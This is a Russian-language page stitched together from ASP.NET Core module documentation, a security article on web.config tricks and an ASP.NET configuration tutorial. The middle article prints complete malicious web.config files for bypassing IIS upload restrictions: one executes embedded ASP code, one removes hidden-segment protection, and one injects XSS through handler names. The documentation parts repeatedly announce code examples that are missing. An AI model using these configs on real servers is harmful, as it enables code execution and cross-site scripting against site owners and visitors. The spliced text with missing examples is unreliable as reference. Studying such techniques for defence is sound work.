Файл web.config
web.config — это файл, который считывается службами IIS и модулем ASP.NET Core для настройки приложения, размещенного в службах IIS.
Расположение файла web.config
Для корректной настройки модуля ASP.NET Core необходимо наличие файла web.config в корневой папке содержимого развертываемого приложения (как правило, это основной путь приложения). Это расположение соответствует физическому пути веб-сайта, указанному в службах IIS. Файл web.config требуется в корне приложения, чтобы разрешить публикацию нескольких приложений с помощью веб-развертывания.
По физическому пути приложения находятся файлы с конфиденциальной информацией, например,
Файл web.config должен постоянно присутствовать в развертывании, а также иметь правильное имя и возможность настроить сайт для нормального запуска. Никогда не удаляйте файл web.config из развертывания в рабочей среде.
Если в проекте нет файла web.config , он создается с соответствующими аргументами processPath и arguments для настройки модуля ASP.NET Core и переносится в опубликованные выходные данные.
Если в проекте есть файл web.config , он преобразуется с соответствующими аргументами processPath и arguments для настройки модуля ASP.NET Core и переносится в опубликованные выходные данные. Преобразование не изменяет параметры конфигурации служб IIS, включенные в файл.
Файл web.config может содержать дополнительные параметры конфигурации IIS, управляющие активными модулями IIS. Сведения о модулях IIS, которые могут обрабатывать запросы к приложениям ASP.NET Core, см. в статье Модули IIS.
Создание, преобразование и публикация файла web.config обрабатываются целевым объектом MSBuild ( _TransformWebConfig ) при публикации проекта. Этот целевой объект присутствует в целевых веб-пакетах SDK ( Microsoft.NET.Sdk.Web ). Пакет SDK задается в начале файла проекта:
Чтобы веб-пакет SDK не преобразовывал файл web.config , используйте свойство <IsTransformWebConfigDisabled> в файле проекта:
Если пакет SDK не преобразует файл, аргументы processPath и arguments нужно задать вручную. Дополнительные сведения см. в разделе Модуль ASP.NET Core для IIS.
Настройка модуля ASP.NET Core с помощью web.config
Модуль ASP.NET Core настроен с помощью раздела aspNetCore узла system.webServer файла web.config на веб-сайте.
Следующий файл web.config публикуется для зависимого от платформы развертывания и настраивает модуль ASP.NET Core для обработки запросов к веб-сайту.
Следующий файл web.config опубликован для автономного развертывания.
Значение false свойства InheritInChildApplications указывает, что параметры, заданные в элементе <location> , не наследуются приложениями, которые находятся во вложенном каталоге приложения.
Когда приложение развернуто в службе приложений Azure, путь stdoutLogFile задан как \\?\%home%\LogFiles\stdout . Путь сохраняет журналы stdout в папке LogFiles , расположение которой автоматически создается службой.
Сведения о конфигурации дочерних приложений IIS см. в разделе Расширенные конфигурации.
Атрибуты элемента aspNetCore
Необязательный строковый атрибут.
Аргументы для исполняемого файла, указанного в атрибуте processPath .
Дополнительный логический атрибут.
Если значение равно true, страница 502.5 — ошибка процесса подавляется и страница в файле web.config с кодом состояния 502 имеет более высокий приоритет.
Дополнительный логический атрибут.
Если значение равно true, маркер безопасности отправляется дочернему процессу, прослушивающему порт %ASPNETCORE_PORT% , как заголовок MS-ASPNETCORE-WINAUTHTOKEN каждого запроса. Этот процесс вызывает CloseHandle по этому маркеру безопасности каждого запроса.
Необязательный строковый атрибут.
Указывает модель размещения — внутри процесса ( InProcess / inprocess ) или вне процесса ( OutOfProcess / outofprocess ).
Необязательный целочисленный атрибут.
Указывает число экземпляров процесса, заданное в параметре processPath , которое может появиться для каждого приложения.
†Для внутрипроцессного размещения установлено ограничение 1 .
Параметр processesPerApplication не рекомендуется. Этот атрибут будет удален в будущем выпуске.
Обязательный строковый атрибут.
Путь к исполняемому файлу, который запускает процесс прослушивания HTTP-запросов. Поддерживаются относительные пути. Если путь начинается с . , то начало пути считается относительно корневого каталога веб-сайта.
Необязательный целочисленный атрибут.
Указывает количество сбоев за минуту, которыми может завершиться процесс, указанный в processPath . Если этот предел превышен, модуль останавливает запуск процесса на оставшуюся часть минуты.
Не поддерживается для внутрипроцессного размещения.
Необязательный атрибут timespan.
Указывает продолжительность, на протяжении которой модуль ASP.NET Core ожидает ответа от процесса, прослушивающего порт %ASPNETCORE_PORT%.
В версиях модуля ASP.NET Core, поставляемых с выпуском ASP.NET Core 2.1 или новее, атрибут requestTimeout указывается в часах, минутах и секундах.
Не применяется к внутрипроцессному размещению. Для внутрипроцессного размещения модуль ожидает, пока приложение не обработает запрос.
Допустимые значения для сегментов минут и секунд в строках находятся в диапазоне 0–59. Значение 60 для минут и секунд приведет к ошибке 500 — внутренняя ошибка сервера.
Необязательный целочисленный атрибут.
Длительность ожидания модуля в секундах, пока произойдет правильное выключение исполняемого файла при обнаружении файла app_offline.htm .
Необязательный целочисленный атрибут.
Время в секундах, которое модуль ожидает, пока запустится процесс прослушивания порта исполняемого файла. Если этот предел превышен, модуль завершает процесс.
Внутрипроцессное размещение. Процесс не перезапускается, и параметр rapidFailsPerMinute не используется.
Размещение вне процесса. Модуль пытается перезапустить процесс при получении нового запроса и будет продолжать пытаться перезапустить процесс для последующих входящих запросов, если не удается запустить приложение определенное в атрибуте rapidFailsPerMinute количество раз за последнюю минуту.
Значение 0 (ноль) не считается бесконечным временем ожидания.
Дополнительный логический атрибут.
Если значение равно true, stdout и stderr для процесса, указанного в атрибуте processPath , перенаправляются к файлу, заданному в атрибуте stdoutLogFile .
Необязательный строковый атрибут.
Указывает относительный или абсолютный путь к файлу, для которого регистрируются stdout и stderr из процесса, указанного в processPath . Относительные пути задаются относительно корневого каталога веб-сайта. Любой путь, начинающийся с . , относится к корневому каталогу веб-сайта, а все остальные пути рассматриваются как абсолютные пути. Все папки, указанные в пути, создаются модулем при создании файла журнала. С помощью разделителей подчеркивания метка времени, идентификатор процесса и расширение файла ( .log ) добавляются к последнему сегменту пути журнала stdoutLogFile . Если в качестве значения задано значение .\logs\stdout , например, журнал stdout сохраняется как stdout_20180205194132_1934.log в папке logs с датой 5 февраля 2018 г. в 19:41:32 с идентификатором процесса 1934.
Настройка переменных среды
Переменные среды для процесса можно указать в атрибуте processPath . Укажите переменную среды с дочерним элементом <environmentVariable> элемента коллекции <environmentVariables> . Переменные среды, установленные в этом разделе, имеют приоритет над переменными системной среды.
В приведенном ниже примере устанавливаются две переменные среды в web.config . ASPNETCORE_ENVIRONMENT настраивает среду приложения для Development . Разработчик может временно задать это значение в файле web.config , чтобы принудительно загрузить Страницу исключений для разработчиков при отладке исключения приложения. CONFIG_DIR — пример пользовательской переменной среды, где разработчик написал код, который считывает значение при запуске, чтобы сформировать путь для загрузки файла конфигурации приложения.
Вместо установки среды напрямую в web.config можно включить свойство <EnvironmentName> в профиль публикации ( .pubxml ) или файл проекта. При этом подходе во время публикации проекта среда задается в файле web.config :
Установите только переменную среды ASPNETCORE_ENVIRONMENT для Development на серверах промежуточных процессов и тестирования, которые недоступны для ненадежных сетей, таких как Интернет.
Трюки и фокусы с файлом web.config
В файле web.config хранятся все основные настройки сервера IIS7 (и более поздних версий). Он играет такую же роль, как и файл .htaccess для сервера Apache. Существует широко известная техника, связанная с загрузкой .htaccess, для обхода ограничений на загружаемые файлы.
Автор: Soroush Dalili
В файле web.config хранятся все основные настройки сервера IIS7 (и более поздних версий). Он играет такую же роль, как и файл .htaccess для сервера Apache. Существует широко известная техника, связанная с загрузкой .htaccess, для обхода ограничений на загружаемые файлы. Некоторые интересные примеры можно найти в репозитарии GitHub: https://github.com/wireghoul/htshells.
На серверах с IIS7 (и выше) также возможно осуществление подобных трюков путем загрузки или создания файла web.config. С небольшими изменениями некоторые из этих техник могут быть применимы и к IIS6. Далее будет продемонстрировано несколько версий web.config для обхода ограничений в файловых загрузчиках.
Запуск web.config как ASP-файла
Некоторые IIS-сервера поддерживают ASP-файлы, однако загрузить сам файл с расширением .ASP не представляется возможным. В этом случае можно использовать web.config для запуска ASP-кода:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="
*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll"
resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!— ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
‘ it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&"-")
%>
—>
Удаление скрытых сегментов
Иногда загрузчики фалов используют скрытые сегменты (Hidden Segments) из IIS Request Filtering, например, директории APP_Data и App_GlobalResources, закрывая к загруженным файлам прямой доступ.
Однако этот метод легко обходится путем удаления скрытых сегментов при помощи следующей версии web.config:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<security>
<requestFiltering>
<hiddenSegments>
<remove segment="bin" />
<remove segment="App_code" />
<remove segment="App_GlobalResources" />
<remove segment="App_LocalResources" />
<remove segment="App_Browsers" />
<remove segment="App_WebReferences" />
<remove segment="App_Data" />
<!—Other IIS hidden segments can be listed here —>
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
Теперь загруженные файлы доступны напрямую.
Создание XSS уязвимости на стандартной странице об ошибках
Часто злоумышленники внедряют в сайт XSS-уязвимость, используя функцию загрузки файлов.
Имя обработчика стандартной страницы об ошибках уязвимо к межсайтовому скриптингу. Подобную технику можно использовать, если загрузить web.config, содержащий некорректное имя обработчика (не работает в IIS 6 и ниже):
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers>
<!— XSS by using *.config —>
<add name="web_config_xss<script>alert(‘xss1’)</script>"
path="*.config" verb="*" modules="IsapiModule" scriptProcessor="fooo"
resourceType="Unspecified" requireAccess="None" preCondition="bitness64" />
<!— XSS by using *.test —>
<add name="test_xss<script>alert(‘xss2’)</script>" path="*.test" verb="*" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
<httpErrors existingResponse="Replace" errorMode="Detailed" />
</system.webServer>
</configuration>
Другие техники
Изменение или создание web.config может привести к серьезным проблемам с безопасностью. В дополнении к вышеуказанным техникам, использование других версий файла web.config может привести к другим нежелательным последствиям. Некоторые примеры я привел ниже (соответствующая версия web.config легко находится через поисковую систему):
Повторное разрешение .Net расширений: когда .Net расширения (например, .ASPX) заблокированы в папке, в которую загружаются файлы.
Использование разрешенных расширений для запуска файлов с другим расширением: когда использование расширений ASP и PHP в целом разрешено на сервере, но запрещено в папке, в которую загружаются файлы.
Злоупотребление страницами об ошибках или правилами перезаписи URL’ов для перенаправления пользователей или взлома сайта: когда загруженные файлы (например, PDF или JavaScript) доступны пользователям напрямую.
Манипуляция MIME-типами загружаемых файлов: когда загрузка HTML (или любых других) файлов запрещена или когда таблица MIME-типов содержит лишь определенные расширения.
Файл web.config
Каждое веб-приложение наследует параметры настройки из файла machine.config и корневого файла web.config. Кроме того, параметры могут применяться к отдельным веб-приложениям. Например, в веб-приложении может быть предусмотрен специфический метод аутентификации, тип отладки, язык по умолчанию или специальные страницы сообщений об ошибках. Чтобы сделать это, понадобится добавить в корневой виртуальный каталог своего веб-приложения файл web.config. Для конфигурирования отдельных подкаталогов в веб-приложении в них следует поместить дополнительные файлы web.config.
Важно понимать, что файл web.config в веб-приложении не может переопределять все параметры в файле machine.config. Некоторые параметры в этом файле, такие как параметры модели процессов, не могут изменяться для каждого приложения отдельно. Другие параметры, наоборот, являются специфичными для приложений. Это значит, что их можно устанавливать в файле web.config, который находится в корневом виртуальном каталоге веб-сайта, но нельзя в файлах web.config, расположенных в подкаталогах.
Все содержимое конфигурационного файла ASP.NET находится внутри корневого элемента <configuration>. Этот элемент содержит элемент <system.web>, который используется для параметров настройки ASP.NET. Внутри <system.web> находятся отдельные элементы для каждого аспекта конфигурации. Также имеется элемент <appSettings>, используемый для хранения специальных параметров, и элемент <connectionStrings>, применяемый для хранения строк подключения к базам данных, которые используете вы или на которые полагаются средства ASP.NET.
Ниже показано содержимое простейшего файла web.config, который получается при создании пустого веб-сайта ASP.NET в Visual Studio:
Как и все XML-документы, содержимое файла web.config чувствительно к регистру символов. Каждый параметр использует стиль Camel и начинается с прописной буквы. Это означает, что записывать <System.Web> вместо <system.web> не допускается.
Раздел <system.web> играет центральную роль в конфигурации ASP.NET. Именно внутри него находятся все элементы, отвечающие за настройку функциональных средств ASP.NET. В большинстве приложений ASP.NET также используется раздел <appSettings> для хранения разнообразных конфигурационных деталей, касающихся самого приложения, и раздел <connectionStrings> для хранения строк подключения к базе данных. Кроме того, с помощью раздела <system.webServer> можно расширять конвейер ASP.NET дополнительными обработчиками и модулями HTTP. Ниже показан базовый скелет файла web.config:
Конфигурационный файл для приложений ASP.NET 3.5 имеет более сложную структуру из-за способа, которым ASP.NET 3.5 была выпущена. По сути, ASP.NET 3.5 представляет собой комбинацию, которая состоит из базовой модели ASP.NET 2.0, со средой CLR 2.0, и набора расширений. Как результат, каждое приложение использует файл web.config для подключения новых средств. Однако в ASP.NET 4 такой подход не применяется, и приложения ASP.NET имеют более простое и понятное содержимое. Дополнительные параметры настройки были перемещены в файл machine.config и корневой файл web.config, где им самое место.
Наследование конфигурации
В ASP.NET используется многоуровневая система конфигурации, которая позволяет применять различные параметры к разным частям приложения. Данный прием требует создания внутри виртуального каталога дополнительных подкаталогов. Эти подкаталоги могут содержать собственные файлы web.config с дополнительными параметрами настройки. ASP.NET использует наследование конфигурации, благодаря которому каждый подкаталог автоматически получает параметры настройки родительского каталога.
Например, рассмотрим веб-запрос http://localhost/A/B/C/MyPage.aspx, где А представляет корневой каталог веб-приложения. Этот запрос подразумевает использование параметров на множестве уровней:
Сначала применяются используемые по умолчанию параметры из файла machine.config.
Далее применяются параметры из файла web.config, находящегося в корневом каталоге компьютера. Этот файл web.config хранится в том же каталоге Config, что и файл machine.config.
Если в корневом каталоге приложения А имеется файл web.config, тогда следующими применяются параметры, указанные в нем.
Если в подкаталоге В имеется файл web.config, тогда следующими применяются параметры, указанные в этом файле.
Если в подкаталоге С есть файл web.config, тогда напоследок применяются параметры из него.
этой последовательности, показанной на рисунке, важно обратить внимание, что подкаталогов может быть сколько угодно, но параметры, применяемые в шагах 1 и 2, имеют особое значение. Причина в том, что некоторые параметры (такие как учетная запись Windows, используемая для выполнения кода) могут применяться только на уровне machine.config, а некоторые (вроде типа аутентификации, используемого веб-приложением) — только на уровне корневого каталога приложения.
Благодаря этому, на уровне подкаталогов может быть указан лишь небольшой набор параметров, отличающихся от остальных параметров веб-приложения. Одной из причин использования в приложении множества подкаталогов является необходимость применять отличающиеся параметры безопасности. Файлы, нуждающиеся в защите, затем могут быть помещены в специальный каталог с файлом web.config, который определяет более строгие параметры безопасности, чем в корневом виртуальном каталоге.
Если возникает конфликт, параметры из файла web.config, находящегося во вложенном каталоге, всегда переопределяют те, что унаследованы от родителя. Однако существует одно исключение. Можно назначить специальные заблокированные разделы параметров, которые изменять нельзя. Этот прием более подробно описан в следующем разделе.
Если вы разрабатываете веб-проект (а не беспроектный веб-сайт), в состав этого проекта будут также включены файлы web.Debug.config и web.Release.config. Эти файлы предназначены для переключения между параметрами, используемыми при тестировании веб-приложения, и параметрами, которые необходимы во время его развертывания в производственной среде. Однако они не дают никакого эффекта при запуске приложения в Visual Studio, поскольку в этом случае они полностью игнорируются.
Использование элементов <location>
Элемент <location> является расширением, позволяющим определять несколько групп параметров настройки в одном конфигурационном файле. Чтобы определить подкаталог или файл, к которому будут применены параметры настройки, нужно использовать атрибут path в элементе <location>. Например, в следующем файле web.config элемент <location> применяется для создания двух групп параметров настройки — для текущего каталога и для подкаталога Secure:
Этот файл web.config, по сути, играет роль двух конфигурационных файлов. Он приводит к такому же результату, как если бы вы разделили параметры настройки на два отдельных файла web.config и поместили их в подкаталог Secure.
В одном конфигурационном файле может находиться сколько угодно различных элементов <location>. Однако элемент <location> часто не используется, поскольку гораздо проще управлять и обновлять параметры настройки конфигурации, когда они разделены на отдельные файлы. Тем не менее, существует один сценарий, в котором элемент <location> обеспечивает функциональность, которую не удастся получить каким-либо другим способом. Это необходимо тогда, когда требуется заблокировать специфические параметры настройки таким образом, чтобы их нельзя было переопределить.
Чтобы получить представление о работе этой технологии, рассмотрим приведенный ниже пример. В нем определены две группы параметров настройки, для одной из которых атрибут allowOverride дескриптора <location> устанавливается в false:
В этом случае переопределить какие-либо параметры настройки в разделе <location> не получится. Если вы попытаетесь это сделать, ASP.NET сгенерирует необработанное исключение при запросе страницы в веб-приложении.
Атрибут allowOverride элемента <location> предназначен в основном для компаний, занимающихся веб-хостингом, которым нужно защитить некоторые параметры настройки от изменения. В этом случае администратору придется модифицировать файл machine.config на веб-сервере и использовать элемент <location> для блокировки различных разделов.
При блокировании параметров настройки в файле machine.config возможны два варианта: первый — заблокировать параметры сразу для всех приложений, опустив в дескрипторе <location> атрибут path, а второй — заблокировать параметры только для конкретного приложения, указав в атрибуте path имя соответствующего веб-приложения.
Элемент <system.web>
В элементе <system.web> содержатся все конфигурационные параметры, касающиеся ASP.NET. Эти параметры отвечают за настройку различных аспектов веб-приложения и включают разные службы, такие как безопасность, управление состоянием и трассировка. Схема раздела <system.web> является фиксированной, т.е. изменять структуру и добавлять собственные элементы нельзя. Однако можно включать сколько угодно конфигурационных разделов.
В таблице ниже перечислены основные дочерние элементы, которые могут присутствовать в <system.web>, с описанием их назначения. Данный список является далеко не полным и предназначен для предоставления лишь общей картины о масштабах конфигурации ASP.NET:
| Элемент | Описание |
|---|---|
| authentication | Этот элемент конфигурирует систему аутентификации — другими словами, он определяет, как будут проверяться идентификационные данные клиента, когда он запрашивает страницу |
| authorization | Этот элемент управляет тем, каким клиентам должен предоставляться доступ к ресурсам, находящимся внутри веб-приложения или текущего каталога |
| compilation | Этот элемент идентифицирует версию .NET, на которую ориентировано веб-приложение (посредством атрибута targetFramework) и указывает, должны ли генерироваться символы отладки в файлах .pdb (через атрибут debug), чтобы можно было отлаживать приложение с помощью инструмента, подобного Visual Studio. Этот элемент также может содержать элемент <assemblies>, в котором перечисляются дополнительные сборки, необходимые для веб-приложения. Эти сборки затем делаются доступными для кода (при условии, что их удается обнаружить в каталоге Bin или в GAC) |
| customErrors | Этот элемент позволяет указывать специфичные URL-адреса, которые должны использоваться для переадресации в случае возникновения определенных (или стандартных) ошибок. Например, он может использоваться для перенаправления пользователя с неприглядной страницы ошибки 404 (page not found — страница не найдена) на более дружественную по отношению к пользователю страницу. Хотя этот параметр работает с встроенным тестовым веб-сервером Visual Studio, в IIS 7.x он заменен разделом <httpErrors> |
| membership | Этот элемент позволяет конфигурировать систему членства ASP.NET, которая управляет информацией пользовательских учетных записей и предоставляет высокоуровневый API-интерфейс для решения связанных с безопасностью задач, таких как вход пользователя в систему и переустановка пароля |
| pages | Этот элемент позволяет определять параметры, которые должны использоваться для страниц по умолчанию (большинство из которых может быть переопределено с помощью директивы Page) |
| profile | Этот элемент позволяет конфигурировать систему профилей ASP.NET, которая автоматически сохраняет и извлекает информацию по конкретному пользователю (обычно параметры профиля). Как правило, данные профилей сериализуются в базу данных |
| roleManager | Этот элемент позволяет конфигурировать систему безопасности на основе ролей ASP.NET, которая предоставляет способ сохранения информации о ролях и высокоуровневый API-интерфейс для авторизации на основе ролей |
| sessionState | Этот элемент конфигурирует различные опции, касающиеся обслуживания состояния сеанса для приложения, такие как, должно ли оно вообще поддерживаться, и если да, то где (в SQL, отдельная служба Windows и т.д.) |
| trace | Этот элемент конфигурирует трассировку, т.е. средство ASP.NET, которое позволяет отображать диагностическую информацию на странице (или собирать ее для отдельного просмотра) |
Архитектура конфигурационного файла является стандартом .NET, и приложения другого типа (например, приложения для Windows) тоже могут использовать конфигурационные файлы. По этой причине корневой элемент <configuration> не предназначен для параметров настройки веб-приложения. Вместо этого параметры настройки веб-приложения содержатся внутри выделенного раздела <system.web>.
Раздел <system.webServer>
В этом разделе содержатся параметры, которые оказывают влияние на веб-сервер. Элемент <handlers> внутри этого раздела используется для регистрации специальных обработчиков HTTP, а раздел <modules> — для регистрации модулей HTTP.
Раздел <appSettings>
Специальные параметры настройки в файле web.config добавляются в элемент <appSettings>. Все добавляемые специальные параметры записываются в виде простых строковых переменных.
Необходимость использовать в файле web.config специальные параметры может возникать по нескольким причинам. Чаще всего это требуется, когда нужно записать жестко закодированную, но изменяемую информацию для подключения к внешним источникам, например, строки запросов к базе данных, пути к файлам и URL-адреса веб-служб. Конфигурационный файл web.config может изменяться в любое время, что позволяет обновлять конфигурацию приложения по мере изменения характеристик его физического размещения, не компилируя его при этом заново.
Специальные параметры вводятся с использованием элемента <add>, который идентифицирует уникальное имя переменной (ключ) и ее содержимое (значение). Ниже приведен пример добавления двух новых специальных параметров настройки:
После добавления такой информации .NET позволяет чрезвычайно легко извлекать ее в коде веб-страниц. Все, что понадобится — это просто использовать класс WebConfigurationSettings, который находится в пространстве имен System.Web.Configuration. Этот класс предоставляет статическое свойство AppSettings, в котором содержится динамически генерируемая коллекция всех доступных в текущем каталоге параметров приложения.
Например, если класс страницы ASP.NET, ссылающийся на коллекцию AppSettings, находится в http://localhost/MyApp/MyDirectory/MySubdirectory, то в коллекции AppSettings, вероятно, будут содержаться параметры настройки из трех разных файлов web.config. Коллекция AppSettings делает такую иерархию параметров бесшовной для страницы, которая ее использует.
Для использования класса WebConfigurationSettings сначала необходимо импортировать пространство имен System.Web.Configuration, чтобы иметь возможность ссылаться на этот класс, не указывая его длинное полностью уточненное имя:
Далее останется просто извлечь требуемое значение по имени:
Ниже показана тестовая веб-страница в действии:
В данном случае при попытке извлечь несуществующее значение никакой ошибки не возникает. Если есть подозрение, что это может стать источником проблем, тогда перед извлечением значения позаботьтесь о проверке на предмет наличия нулевой ссылки.
Значения, содержащиеся в элементе <appSettings> конфигурационного файла, доступны любому классу в приложении, а также любому компоненту, который в нем используется, будь то класс веб-формы, класс бизнес-логики, класс доступа к данным или что-нибудь еще. Во всех этих случаях класс ConfigurationSettings используется абсолютно одинаково.